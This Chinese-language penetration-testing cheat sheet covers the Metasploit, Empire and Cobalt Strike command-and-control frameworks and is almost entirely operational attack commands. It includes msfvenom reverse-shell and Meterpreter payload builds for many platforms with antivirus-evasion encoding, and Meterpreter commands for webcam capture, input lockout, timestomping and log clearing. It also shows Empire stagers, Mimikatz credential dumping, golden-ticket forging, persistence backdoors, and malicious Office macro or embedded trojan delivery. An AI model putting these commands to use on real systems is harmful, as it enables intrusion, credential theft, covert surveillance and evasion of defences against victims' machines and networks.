渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

Metasploit

常规使用

>systemctl start postgresql.service 启动数据库服务
>msfdb init 初始化数据库
>msfconsole进入MSF框架
>search  ms17-010 查找攻击模块
>use exploit/windows/smb/ms17_010_eternalblue 使用模块 
>set payload windows/x64/meterpreter/reverse_tcp 设置载荷
>info 查看信息
>show options查看需要设置的参数
>set RHOST 192.168.125.138设置参数
>exploit 执行攻击模块
>back 回退

细节使用

>handler -H 192.168.0.10 -P 3333 -p windows/x64/meterpreter/reverse_tcp快速监听
>setg 设置全局参数
>set autorunscript migrate –f 自动迁移进程
>set autorunscript migrate -n explorer.exe
>set AutoRunScript post/windows/manage/migrate
>set prependmigrate true 自动注入进程
>set prependmigrateProc svchost.exe
>set exitonsession false获取到session后继续监听,获得多个session
>set stagerverifysslcert false 防止出现ssl错误
>set SessionCommunicationTimeout 0 防止session超时退出
>set SessionExpirationTimeout 0 防止强制关闭session
>exploit -j -z  后台持续监听
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -e x86/shikata_ga_nai -b "x00" -i 5 -a x86 --platform windows PrependMigrate=true PrependMigrateProc=explorer.exe -f exe -o  1.exe 执行后注入到已存在的一个进程
>set EnableStageEncoding true
>set stageencoder x86/fnstenv_mov 编码进行免杀
>set stageencodingfallback false

模块

Auxiliary

>show auxiliary 查看所有模块

Payload

>show payloads 查看所有攻击载荷
Payload是目标被攻击时执行的实际功能代码
生成载荷
>use exploit/multi/script/web_delivery
>set target 2
>msfvenom --list payloads 列出所有payload
>msfvenom --list encoders 列出所有编码器
Windows
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f exe -o /root/1.exe
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o 1.exe
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f psh-reflection >xxx.ps1
>msfvenom -a x64 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
>msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.0.1 LPORT=11111  -f exe> /root/1.exe  生成NC正向连接
>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f exe> 1.exe 生成NC反向连接
Linux
>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -e -f elf -a x86 --platform linux -o shell
>msfvenom -p cmd/unix/reverse_bash LHOST=192.168.0.1 LPORT=11111 -f raw > shell.sh
MacOS
>msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f macho > shell.macho
Web
>msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw > shell.php
>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f war > shell.war
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f aspx -o payload.aspx
>msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.jsp
>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f asp > shell.asp
Android
>msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f apk -o payload.apk
>msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=12138 -f raw > shell.apk
>msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=12138 R > test.apk
shellcode
>msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.1 LPORT=11111 -f c –o /root/1.c
>msfvenom -p cmd/unix/reverse_python LHOST=192.168.0.1 LPORT=11111 -o shell.py
>msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw > shell.py
>msfvenom -p cmd/unix/reverse_perl LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.pl
>msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.rb
>msfvenom -p cmd/unix/reverse_lua LHOST=192.168.0.1 LPORT=11111 -f raw -o payload.lua
msf设置监听
>use exploit/multi/handler
>set payloadwindows/meterpreter/reverse_http 指定相应的payload
>set LHOST 192.168.0.1
>set LPORT 11111
>exploit -j 后台监听
或在exploit模块中直接使用set payload 命令指定payload

Meterpreter

交互

当攻击成功后会返回会话,使用session -l命令列出当前获取到的会话
>session -l
使用
>sessions -i id 来进入一个会话进行交互
>background 将当前会话放置后台
>sessions -x检查心跳
>sessions -u [ID] cmdshell升级meterpreter shell

提权

提权详见提权模块

命令

>shell 进入目标cmdshell
>uictl [enable/disable] [keyboard/mouse/all]  开启或禁止键盘/鼠标
>uictl disable mouse  禁用鼠标
>uictl disable keyboard  禁用键盘
>webcam_list   查看摄像头
>webcam_snap   通过摄像头拍照
>webcam_stream  通过摄像头开启视频
>execute -H -i -f cmd.exe 执行cmd.exe,-H不可见,-i交互 
>execute -H -m -d calc.exe -f wce.exe -a "-o 1.txt" 隐藏执行
>ps查看当前活跃进程
>migrate pid     迁移进程
>kill pid   #杀死进程

文件操作

>pwd 查看当前目录
>ls 列出当前目录文件
>search -f *pass*        搜索文件
>cat c:\\passwd.txt   查看文件内容
>upload /tmp/pwn.txt C:\\1.txt   上传文件
>download c:\\passwd.txt /tmp/  下载文件
>edit c:\\1.txt  编辑或创建文件
>rm C:\\1.txt 删除文件
>mkdir folder  创建文件夹
>rmdir folder  删除文件夹
>lcd /tmp   #攻击者主机 切换目录
>timestomp -v C://2.txt   #查看时间戳
>timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

后渗透&权限维持

路由添加,socks建立,后门建立等查看
查看后门&持久化板块

清理日志

#clearev 

MSF派生Cobalt strike和Empire

派生Empire

Empire创建一个Listener
创建一个stager选择windows/dll
MSF使用
>use post/windows/manage/reflective_dll_inject 
指定session,dll的路径,进程pid

派生Cobalt Strike

cobalt 开启一个监听器windows/beacon_http/reverse_http
msf 
>use exploit/windows/manage/payload_inject
指定IP、端口、payload即可

Empire

安装

>git clone https://github.com/EmpireProject/Empire.git
>d Empire/setup
>./install.sh

监听

(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners) > info 查看参数信息
(Empire: listeners/http) > set Name y
(Empire: listeners/http) > set Host http://192.168.0.1
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > execute
>back命令返回listeners模块
>list查看已激活的listener
>kill http删除监听

生成

(Empire: listeners) > usestager windows/launcher_vbs (双击tab键查看所有模块)
(Empire: stager/windows/launcher_vbs) > info
必须设置listener的名字,可设置生成位置
(Empire: stager/windows/launcher_vbs) > set Listener y
(Empire: stager/windows/launcher_vbs) > execute
可生成vbs,靶机执行即可上线。
使用launcher命令直接生成powershell或python脚本
>launcher powershell Listener-Name
使用rename对agents更名
>rename 6NMCW4ZB target1
使用main命令放回主菜单
>list stale 列出失去权限的机器
>remove stale 去除失去权限的机器

连接靶机及其他操作

>interact target1 连接
>agent 返回靶机列表
>back 返回上一层
>shell net user 1 1 /add 执行系统目录格式
>mimikazt 加载模块获取密码
>creds 整理获取的密码,creds export /root/1.txt 保存密码,creds hash/plaintext,显示格式
>sc 获取当前桌面截图,文件存储在./Empire/download/agent名字/screenshot
>download c:\pass.txt 下载靶机文件到本机
>upload hacked.txt c:\hacked.txt 上传本机文件到靶机

提权

>agents 列表中Username没有星号则需要提权
>bypassuac listener需指定一个监听器 提权
>usemodule privesc/ms16-032需指定一个监听器 提权
>usemodule privesc/powerup/allchecks执行所有脚本检查漏洞

横向

查询域管登录机器
>usemodule situational_awareness/network/powerview/user_hunter

令牌窃取

>mimikatz
>creds  获取并整理hash及密码
>pth {ID}窃取管理员令牌
>steal_token {PID}

会话注入

>ps 查看进程
>usemodule management/psinject 设置ProcIP和Listener

Hash传递

Invoke-PsExec可能会被查杀
>usemodule situational_awareness/network/powerview/find_localadmin_access 列出可PSexec横向移动的机器
>usemodule lateral_movement/invoke_psexec需设置ComputerName和Listener
或
>usemodule lateral_movement/invoke_wmi需设置ComputerName和Listener,credID
跨域
父域域控:dc.zone.com
子域域控:sub.zone.com
子域计算机:pc.sub.zone.com
子域普通用户:sub\user1
查看信任关系
>usemodule situational_awareness/network/powerview/get_domain_trust
获取父域krbtgt SID,使用management/user_to_sid获取sid
需设置Domain和User=krbtgt
>usemodule credentials/mimikatz/dcsync 设置UserName 子域\krbtgt 获取子域hash
>usemodule credentials/mimikatz/golden_ticket 伪造sid 
需设置User为伪造用户 sids伪造的标识符{krbtgt sid}-519
>usemodule credentials/mimikatz/dcsync 获取父域krbtgt的hash
>usemodule credentials/mimikatz/golden_ticket 使用父域krbtgt进行PTH攻击,指定父域CredID,用户名和域
>shell dir \\dc.zone.com\c$

后门&持久化

映像劫持

>usemodule lateral_movement/invoke_wmi_debugger
设置Listener,ComputerName(大写),TargetBinary(sethc.exe, Utilman.exe, osk.exe, Narrator.exe, Magnify.exe),分别是粘滞键,轻松访问,屏幕键盘,讲述人,放大镜。

注入注册表启动项

>usemodule persistence/elevated/registry*
设置Listener,注册表路径RegPath [HKLM\software\microsoft\windows\currentversion\run]

计划任务

>usemodule persistence/elevated/schtasks*
设置Listener和DailyTime

WMI

>usemodule persistence/elevated/wmi
设置Listener

注入SSP

查看SSP章节

Collection(信息采集)

| 模块名  | 功能  |
| ------------ | ------------ |
|  collection/ChromeDump | 收集chrome浏览器保存的密码和浏览历史记录  |
|  collection/FoxDump |  收集Firefox浏览器保存的密码和浏览历史记录 |
| collection/USBKeylogger*  |  利用ETW作为键盘记录 |
| collection/WebcamRecorder  |  从摄像头捕获视频 |
| collection/browser_data  | 搜索浏览器历史记录或书签  |
|  collection/clipboard_monitor |按指定的时间间隔监视剪贴板   |
| collection/file_finder  |  查找域中的敏感文件 |
|collection/find_interesting_file   |  查找域中的敏感文件 |
| collection/get_indexed_item  |获取Windows desktop search索引文件   |
|collection/get_sql_column_sample_data   | 从目标SQL Server返回列信息。  |
| collection/get_sql_query  |  在目标SQL服务器上执行查询 |
|collection/inveigh   |Windows PowerShell LLMNR/mDNS/NBNS中间人工具   |
|collection/keylogger   | 键盘记录到keystrokes.txt文件中,文件位置/downloads/agentname/keystrokes.txt/agentname  |
|collection/minidump  | 进程的全内存转储,PowerSploit的Out-Minidump.ps1  |
| collection/netripper  |将NetRipper注入目标进程,该进程使用API挂钩以拦截来自低特权用户的网络流量和与加密相关的功能,从而能够在加密之前/解密之后捕获纯文本流量和加密流量。   |
|collection/ninjacopy*   |通过读取原始卷并解析NTFS结构,从NTFS分区卷中复制文件。   |
|collection/packet_capture*   |使用netsh在主机上启动数据包捕获。   |
|collection/prompt   |提示当前用户在表单框中输入其凭据,然后返回结果。   |
|collection/screenshot   |屏幕截图   |
|collection/vaults/add_keepass_config_trigger   | 寻找KeePass配置  |
|collection/vaults/find_keepass_config  |此模块查找并解析KeePass.config.xml (2.X)和KeePass.config.xml (1.X)文件。   |
|collection/vaults/get_keepass_config_trigger   |该模块从KeePass 2.X配置XML文件中提取触发器说明   |
|collection/vaults/keethief   |此模块检索未锁定的KeePass数据库的database mastey key信息   |
|collection/vaults/remove_keepass_config_trigger   | 该模块从Find-KeePassConfig找到的所有KeePass配置中删除所有触发器  |

>usemodule collection/ tab补齐查看模块
>usemodule collection/screenshot 获取当前桌面截图,文件存储在./Empire/download/agent名字/screenshot
>usemodule collection/keylogger 键盘记录,文件存储在./Empire/download/agent名字/agent.log
>usemodule situational_awareness/host/winenum 查看当前用户、AD组、剪切板内容、系统版本、共享、网络信息、防火墙规则
>usemodule situational_awareness/network/powerview/share_finder 列出域内所有共享
>usemodule situational_awareness/network/arpscan 
>set Range 192.168.0.1-192.168.0.100 ARP扫描,需设置扫描网段区间
>usemodule situational_awareness/network/portscan 
>set Hosts 192.168.0.1-192.168.0.100 端口扫描,需设置IP或IP段
>usemodule situational_awareness/network/reverse_dns DNS信息,需设置IP
>set Range 192.168.0.1-192.168.0.100
>usemodule situational_awareness/network/powerview/get_domain_controller 查找域控

Code_execution(代码执行)

|模块名   |功能   |
| ------------ | ------------ |
|code_execution/invoke_dllinjection   |使用PowerSploit的Invoke-DLLInjection将Dll注入您选择的进程ID。   |
|code_execution/invoke_metasploitpayload   |生成一个新的隐藏PowerShell窗口,该窗口下载并执行Metasploit Payload。这与Metasploit模块theexploit/multi/scripts/web_delivery互动   |
| code_execution/invoke_ntsd  |使用NT Symbolic Debugger执行Empire launcher代码   |
|code_execution/invoke_reflectivepeinjection   |使用PowerSploit的Invoke-ReflectivePEInjection进行反射PE注入,将DLL/EXE加载进PowerShell进程中,或者将DLL加载进远程进程中   |
| code_execution/invoke_shellcode  |使用PowerSploit的Invoke--Shellcode注入Shellcode   |
|code_execution/invoke_shellcodemsil   |执行shellcode   |

Credentials(身份凭证)

|模块名   |功能   |
| ------------ | ------------ |
| credentials/credential_injection*  |运行PowerSploit的Invoke-CredentialInjection创建具有明文凭证的登录,而不会触发事件ID 4648使用显式凭据尝试登录   |
|credentials/enum_cred_store   |从Windows凭据管理器中转储当前交互用户的纯文本凭据   |
|credentials/invoke_kerberoast   |为具有非空服务主体名称(SPN)的所有用户请求kerberos票据,并将其提取为John或Hashcat可用格式   |
|credentials/powerdump*   | 使用Posh-SecMod的Invoke-PowerDump从本地系统中转储哈希  |
|credentials/sessiongopher   | 提取WinSCP已保存的会话和密码  |
|credentials/tokens   |运行PowerSploit的Invoke-TokenManipulation枚举可用的登录令牌,并使用它们创建新的进程   |
|credentials/vault_credential*   |运行PowerSploit的Get-VaultCredential以显示Windows Vault凭证对象,包括明文Web凭证   |
|credentials/mimikatz/cache*  |运行PowerSploit的Invoke-Mimikatz函数以提取MSCache(v2) hashes   |
|credentials/mimikatz/certs*   | 运行PowerSploit的Invoke-Mimikatz函数将所有证书提取到本地目录  |
|credentials/mimikatz/command*   |使用自定义命令运行PowerSploit的Invoke-Mimikatz函数   |
|credentials/mimikatz/dcsync   |运行PowerSploit的Invoke-Mimikatz函数,以通过Mimikatz的lsadump::dcsync模块提取给定的帐户密码  |
|credentials/mimikatz/dcsync_hashdump   |运行PowerSploit的Invoke-Mimikatz函数,以使用Mimikatz的lsadump::dcsync模块收集所有域哈希   |
|credentials/mimikatz/extract_tickets   |运行PowerSploit的Invoke-Mimikatz函数,以base64编码形式从内存中提取kerberos票据   |
|credentials/mimikatz/golden_ticket   |运行PowerSploit的Invoke-Mimikatz函数以生成黄金票据并将其注入内存   |
|credentials/mimikatz/keys*   |运行PowerSploit的Invoke-Mimikatz函数以将所有密钥提取到本地目录   |
|credentials/mimikatz/logonpasswords*   |运行PowerSploit的Invoke-Mimikatz函数以从内存中提取纯文本凭据。   |
|credentials/mimikatz/lsadump*   |运行PowerSploit的Invoke-Mimikatz函数以从内存中提取特定的用户哈希。 在域控制器上很有用。   |
|credentials/mimikatz/mimitokens*   |运行PowerSploit的Invoke-Mimikatz函数以列出或枚举令牌。   |
|credentials/mimikatz/pth*   |运行PowerSploit的Invoke-Mimikatz函数以执行sekurlsa::pth来创建一个新进程。   |
|credentials/mimikatz/purge   |运行PowerSploit的Invoke-Mimikatz函数从内存中清除所有当前的kerberos票据   |
|credentials/mimikatz/sam*   |运行PowerSploit的Invoke-Mimikatz函数从安全帐户管理器(SAM)数据库中提取哈希   |
|credentials/mimikatz/silver_ticket   |运行PowerSploit的Invoke-Mimikatz函数,以生成服务器/服务的白银票据并将其注入内存。   |
|credentials/mimikatz/trust_keys*   |运行PowerSploit的Invoke-Mimikatz函数,从域控制器中提取域信任密钥。   |

Exfiltration(数据窃取)

|模块名   |功能   |
| ------------ | ------------ |
| exfiltration/egresscheck  |可用于帮助检查主机与客户端系统之间的出口,详细信息:https://github.com/stufus/egresscheck-framework   |
|exfiltration/exfil_dropbox   |下载文件到dropbox   |

Exploitation(漏洞利用EXP)

|模块名   |功能   |
| ------------ | ------------ |
|exploitation/exploit_eternalblue   |MS17_010永恒之蓝漏洞利用   |
|exploitation/exploit_jboss   |Jboss漏洞利用   |
|exploitation/exploit_jenkins   |在未授权访问的Jenkins脚本控制台上运行命令   |

Lateral_movement(横向移动)

| 模块名  | 功能  |
| ------------ | ------------ |
|lateral_movement/inveigh_relay   | smb中继攻击  |
|lateral_movement/invoke_dcom   |使用DCOM在远程主机上执行stager   |
|lateral_movement/invoke_executemsbuild   | 该模块利用WMI和MSBuild编译并执行一个包含Empire launcher的xml文件。  |
|lateral_movement/invoke_psexec   | PsExec横向移动  |
|lateral_movement/invoke_psremoting   |远程PowerShell横向移动   |
|lateral_movement/invoke_smbexec   |SMBExec横向移动   |
|lateral_movement/invoke_sqloscmd   | 利用xp_cmdshell横向移动  |
|lateral_movement/invoke_sshcommand   |利用SSH横向移动   |
|lateral_movement/invoke_wmi   |利用WMI横向移动   |
|lateral_movement/invoke_wmi_debugger   |使用WMI将远程机器上的二进制文件的调试器设置为cmd.exe或stager   |
|lateral_movement/jenkins_script_console   |利用未授权访问的Jenkins脚本控制台横向移动   |
|lateral_movement/new_gpo_immediate_task   |利用GPO中的计划任务横向移动   |

Management(管理)

|模块名   |功能   |
| ------------ | ------------ |
|management/enable_rdp*   |在远程计算机上启用RDP并添加防火墙例外。   |
|management/disable_rdp*   |在远程计算机上禁用RDP   |
|management/downgrade_account   |在给定的域帐户上设置可逆加密,然后强制下次用户登录时设置密码。   |
|management/enable_multi_rdp*   |允许多个用户建立同时的RDP连接。   |
|management/get_domain_sid   |返回当前指定域的SID   |
|management/honeyhash*   | 将人工凭证注入到LSASS  |
|management/invoke_script   |运行自定义脚本   |
|management/lock   |锁定工作站的显示   |
|management/logoff   | 从计算机上注销当前用户(或所有用户)  |
|management/psinject   |利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码   |
|management/reflective_inject   |利用Powershell注入Stephen Fewer形成的ReflectivePick,该ReflectivePick在远程过程中从内存执行PS代码   |
|management/restart   |重新启动指定的机器   |
|management/runas   |绕过GPO路径限制   |
|management/shinject   |将PIC Shellcode Payload注入目标进程   |
|management/sid_to_user   |将指定的域sid转换为用户   |
|management/spawn   |在新的powershell.exe进程中生成新agent   |
|management/spawnas   |使用指定的登录凭据生成agent   |
|management/switch_listener  | 切换listener  |
|management/timestomp   |通过'调用Set-MacAttribute执行类似耗时的功能   |
|management/user_to_sid   | 将指定的domain\user转换为domain sid  |
|management/vnc   | Invoke-Vnc在内存中执行VNC代理并启动反向连接  |
|management/wdigest_downgrade*   |将计算机上的wdigest设置为使用显式凭据   |
|management/zipfolder  |压缩目标文件夹以供以后渗透   |
|management/mailraider/disable_security   |此函数检查ObjectModelGuard   |
|management/mailraider/get_emailitems   |返回指定文件夹的所有项目   |
|management/mailraider/get_subfolders  |返回指定顶级文件夹中所有文件夹的列表   |
|management/mailraider/mail_search  |在给定的Outlook文件夹中搜索项目   |
|management/mailraider/search_gal  |返回与指定搜索条件匹配的所有exchange users   |
|management/mailraider/send_mail   |使用自定义或默认模板将电子邮件发送到指定地址。   |
|management/mailraider/view_email   |选择指定的文件夹,然后在指定的索引处输出电子邮件项目   |

Persistence(持久化)

| 模块名  |功能   |
| ------------ | ------------ |
|persistence/elevated/registry*   |计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本   |
|persistence/elevated/schtasks*   |计划任务持久化   |
|persistence/elevated/wmi*   | WMI事件订阅持久化  |
|persistence/elevated/wmi_updater*   |WMI订阅持久化   |
|persistence/misc/add_netuser   |将域用户或本地用户添加到当前(或远程)计算机   |
|persistence/misc/add_sid_history*   |运行PowerSploit的Invoke-Mimikatz函数以执行misc::addsid以添加用户的sid历史记录。 仅适用于域控制器   |
|persistence/misc/debugger*  | 将指定目标二进制文件的调试器设置为cmd.exe  |
|persistence/misc/disable_machine_acct_change*   |禁止目标系统的机器帐户自动更改其密码   |
|persistence/misc/get_ssps   |枚举所有已加载的安全软件包  |
|persistence/misc/install_ssp*  |安装安全支持提供程序dll   |
|persistence/misc/memssp*   |运行PowerSploit的Invoke-Mimikatz函数以执行misc::memssp,将所有身份验证事件记录到C:\Windows\System32\mimisla.log   |
|persistence/misc/skeleton_key*   |运行PowerSploit的Invoke-Mimikatz函数来执行misc::skeleton,植入密码mimikatz的万能钥匙。 仅适用于域控制器   |
|persistence/powerbreach/deaduser   |DeadUserBackdoor后门,详细信息:http://www.sixdub.net/?p=535 |
|persistence/powerbreach/eventlog*  | 启动事件循环后门  |
|persistence/powerbreach/resolver   | 启动解析器后门  |
|persistence/userland/backdoor_lnk   |LNK文件后门   |
|persistence/userland/registry  | 计算机启动项持久化,通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化,运行一个stager或者脚本  |
|persistence/userland/schtasks  | 计划任务持久化  |

Privesc(权限提升)

|模块名   | 功能  |
| ------------ | ------------ |
|privesc/ask   |弹出一个对话框,询问用户是否要以管理员身份运行powershell   |
|privesc/bypassuac   |UAC bypass   |
|privesc/bypassuac_env   | UAC bypass  |
|privesc/bypassuac_eventvwr   | UAC bypass  |
|privesc/bypassuac_fodhelper   |  UAC bypass |
|privesc/bypassuac_sdctlbypass   |UAC bypass   |
|privesc/bypassuac_tokenmanipulation   | UAC bypass  |
|privesc/bypassuac_wscript   | UAC bypass  |
|privesc/getsystem*  | 获取system特权  |
|privesc/gpp  |利用windows组策略首选项缺陷获取系统帐号   |
|privesc/mcafee_sitelist   |寻找McAfee SiteList.xml文件的纯文本密码   |
|privesc/ms16-032   |MS16-032本地提权   |
|privesc/ms16-135   | MS16-135本地提权  |
|privesc/tater   |利用PowerShell实现的Hot Potato提权   |
|privesc/powerup/allchecks   |检查目标主机的攻击向量以进行权限提升   |
|privesc/powerup/find_dllhijack   |查找通用的.DLL劫持   |
|privesc/powerup/service_exe_restore   | 还原备份的服务二进制文件  |
|privesc/powerup/service_exe_stager  | 备份服务的二进制文件,并用启动stager.bat的二进制文件替换原始文件  |
|privesc/powerup/service_exe_useradd   |修改目标服务以创建本地用户并将其添加到本地管理员   |
|privesc/powerup/service_stager   |修改目标服务以执行Empire stager   |
|privesc/powerup/service_useradd   | 修改目标服务以创建本地用户并将其添加到本地管理员 |
|privesc/powerup/write_dllhijacker  |将可劫持的.dll以及.dll调用的stager.bat一起写到指定路径。 wlbsctrl.dll在Windows 7上运行良好。需要重新启动计算机   |

Recon(侦察)

|模块名   | 功能  |
| ------------ | ------------ |
|recon/find_fruit   | 在网络范围内搜索潜在的易受攻击的Web服务  |
|recon/get_sql_server_login_default_pw   |发现在当前广播域之内的SQL Server实例   |
|recon/http_login   | 针对基本身份验证测试凭据  |

Situational_awareness(态势感知)

| 模块名  |   |
| ------------ | ------------ |
|situational_awareness/host/antivirusproduct   | 获取防病毒产品信息  |
|situational_awareness/host/computerdetails*   | 枚举有关系统的有用信息  |
|situational_awareness/host/dnsserver  |枚举系统使用的DNS服务器   |
|situational_awareness/host/findtrusteddocuments   | 该模块将枚举适当的注册表  |
|situational_awareness/host/get_pathacl  | 枚举给定文件路径的ACL  |
|situational_awareness/host/get_proxy  |枚举当前用户的代理服务器和WPAD内容   |
|situational_awareness/host/get_uaclevel  | 枚举UAC级别  |
|situational_awareness/host/monitortcpconnections   |监视主机与指定域名或IPv4地址的TCP连接,对于会话劫持和查找与敏感服务进行交互的用户很有用 
|situational_awareness/host/paranoia*   |持续检查运行过程中是否存在可疑用户   |
|situational_awareness/host/winenum   |收集有关主机和当前用户上下文的相关信息   |
|situational_awareness/network/arpscan   |针对给定范围的IPv4 IP地址执行ARP扫描   |
|situational_awareness/network/bloodhound   |执行BloodHound数据收集   |
|situational_awareness/network/get_exploitable_system   |查询Active Directory以查找可能容易受到Metasploit Exploit的系统   |
|situational_awareness/network/get_spn   | 获取服务主体名称(SPN)  |
|situational_awareness/network/get_sql_instance_domain   |返回SQL Server实例列表   |
|situational_awareness/network/get_sql_server_info  |  从目标SQL Server返回基本服务器和用户信息 |
|situational_awareness/network/portscan  | 使用常规套接字进行简单的端口扫描  |
|situational_awareness/network/reverse_dns   |  执行给定IPv4 IP范围的DNS反向查找 |
|situational_awareness/network/smbautobrute  |针对用户名/密码列表运行SMB暴力破解   |
|situational_awareness/network/smbscanner   |  在多台机器上测试用户名/密码组合 |
|situational_awareness/network/powerview/find_foreign_group   | 枚举给定域的组的所有成员,并查找不在查询域中的用户  |
|situational_awareness/network/powerview/find_foreign_user   |枚举在其主域之外的组中的用户   |
|situational_awareness/network/powerview/find_gpo_computer_admin   | 获取计算机(或GPO)对象,并确定哪些用户/组对该对象具有管理访问权限  |
|situational_awareness/network/powerview/find_gpo_location   | 获取用户名或组名,并确定其具有通过GPO进行管理访问的计算机  |
|situational_awareness/network/powerview/find_localadmin_access   |在当前用户具有“本地管理员”访问权限的本地域上查找计算机   |
|situational_awareness/network/powerview/find_managed_security_group   |此功能检索域中的所有安全组   |
|situational_awareness/network/powerview/get_cached_rdpconnection   | 使用远程注册表功能来查询计算机上“ Windows远程桌面连接客户端”的所有信息  |
|situational_awareness/network/powerview/get_computer   |查询当前计算机对象的域   |
|situational_awareness/network/powerview/get_dfs_share   | 返回给定域的所有容错分布式文件系统的列表  |
|situational_awareness/network/powerview/get_domain_controller   |返回当前域或指定域的域控制器   |
|situational_awareness/network/powerview/get_domain_policy   |返回给定域或域控制器的默认域或DC策略   |
|situational_awareness/network/powerview/get_domain_trust   |返回当前域或指定域的所有域信任   |
|situational_awareness/network/powerview/get_fileserver   | 返回从用户主目录提取的所有文件服务器的列表  |
|situational_awareness/network/powerview/get_forest   |返回有关给定域森林的信息  |
|situational_awareness/network/powerview/get_forest_domain  |返回给定林的所有域   |
|situational_awareness/network/powerview/get_gpo   |获取域中所有当前GPO的列表   |
|situational_awareness/network/powerview/get_group   | 获取域中所有当前组的列表  |
|situational_awareness/network/powerview/get_group_member   | 返回给定组的成员  |
|situational_awareness/network/powerview/get_localgroup   | 返回本地或远程计算机上指定本地组中所有当前用户的列表  |
|situational_awareness/network/powerview/get_loggedon   |执行NetWkstaUserEnum Win32API调用以查询主动登录主机的用户   |
|situational_awareness/network/powerview/get_object_acl  | 返回与特定活动目录对象关联的ACL  |
|situational_awareness/network/powerview/get_ou   |  获取域中所有当前OU的列表 |
|situational_awareness/network/powerview/get_rdp_session   | 在给定的RDP远程服务中查询活动会话和原始IP  |
|situational_awareness/network/powerview/get_session   | 执行NetSessionEnum Win32API调用以查询主机上的活动会话  |
|situational_awareness/network/powerview/get_site   |获取域中所有当前站点的列表   |
|situational_awareness/network/powerview/get_subnet   | 获取域中所有当前子网的列表  |
|situational_awareness/network/powerview/get_user  |查询给定用户或指定域中用户的信息   |
|situational_awareness/network/powerview/map_domain_trust|使用.CSV输出映射所有可访问的域信任   |
|situational_awareness/network/powerview/process_hunter  |查询远程机器的进程列表   |
|situational_awareness/network/powerview/set_ad_object   |使用SID,名称或SamAccountName来查询指定的域对象   |
|situational_awareness/network/powerview/share_finder   |在域中的计算机上查找共享   |
|situational_awareness/network/powerview/user_hunter   |查找指定组的用户登录的机器   |

Trollsploit(恶作剧)

|模块名   |功能   |
| ------------ | ------------ |
|trollsploit/get_schwifty   |播放Schwifty视频,同时把计算机音量设置最大   |
|trollsploit/message   |发送一个消息框   |
|trollsploit/process_killer   |终止以特定名称开头的任何进程   |
|trollsploit/rick_ascii   |生成一个新的powershell.exe进程运行Lee Holmes' ASCII Rick Roll   |
|trollsploit/rick_astley   |运行SadProcessor's beeping rickroll   |
|trollsploit/thunderstruck   |播放Thunderstruck视频,同时把计算机音量设置最大   |
|trollsploit/voicetroll   |通过目标上的合成语音朗读文本   |
|trollsploit/wallpaper   |将.jpg图片上传到目标机器并将其设置为桌面壁纸   |
|trollsploit/wlmdr   |在任务栏中显示气球提示   |

Empire Word

>usestager windows/launcher_bat生成bat木马,设置Listener
Word/Excel->插入->对象->由文件创建,选择bat,显示为图标,修改图标
Macro
>usestager windows/macro 设置Listener
Word/Excel->试图->宏->创建,复制macro进去

Empire派生Cobalt Strike和MSF

派生MSF

可绕过杀软
Empire
>usemodule code_execution/invoke_shellcode
>set Lhost 192.168.0.1
>set Lport 4444
>set Payload reverse_http
MSF
>use exploit/multi/handler
>set payloadwindows/meterpreter/reverse_http
>set Lhost 192.168.31.247
>set lport 4444
>run
或Empire
>usemodule code_execution/invoke_metasploitpayload
>set URL http://SRVHOST:SRVPORT
MSF
#use exploit/multi/script/web_delivery
#set payload windows/x64/meterpreter/reverse_tcp
设置SRVHOST SRVPORT

派生Cobalt Strike

创建监听器/windows/beacon_http/reverse_http 设置端口和主机
Empire
>usemodule code_execution/invoke_shellcode
>set Lhost 192.168.0.1
>set Lport 4444
>set Payload reverse_http

Cobalt Strike

安装

需要JDK环境
>tar -xzvf jdk-8u191-linux-x64.tar.gz

部署TeamServer

>./teamserver 192.168.0.107 123456
格式是外网IP和密码

模块

New Connection:新建连接
Preferences:设置外观
Visualization:查看主机的不同形式
VPN Interfaces: VPN接口
Listeners:监听器
Script Interfaces:查看和加载CNA脚本
Close:关闭CS

连接

渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire

监听器

创建
Cobalt Strike -> Listeners点击Add
渗透测试技巧之C2工具Cobalt Strike|Metasploit|Empire
Beacon为CS内部监听器。
Foreign一般与MSF结合使用。
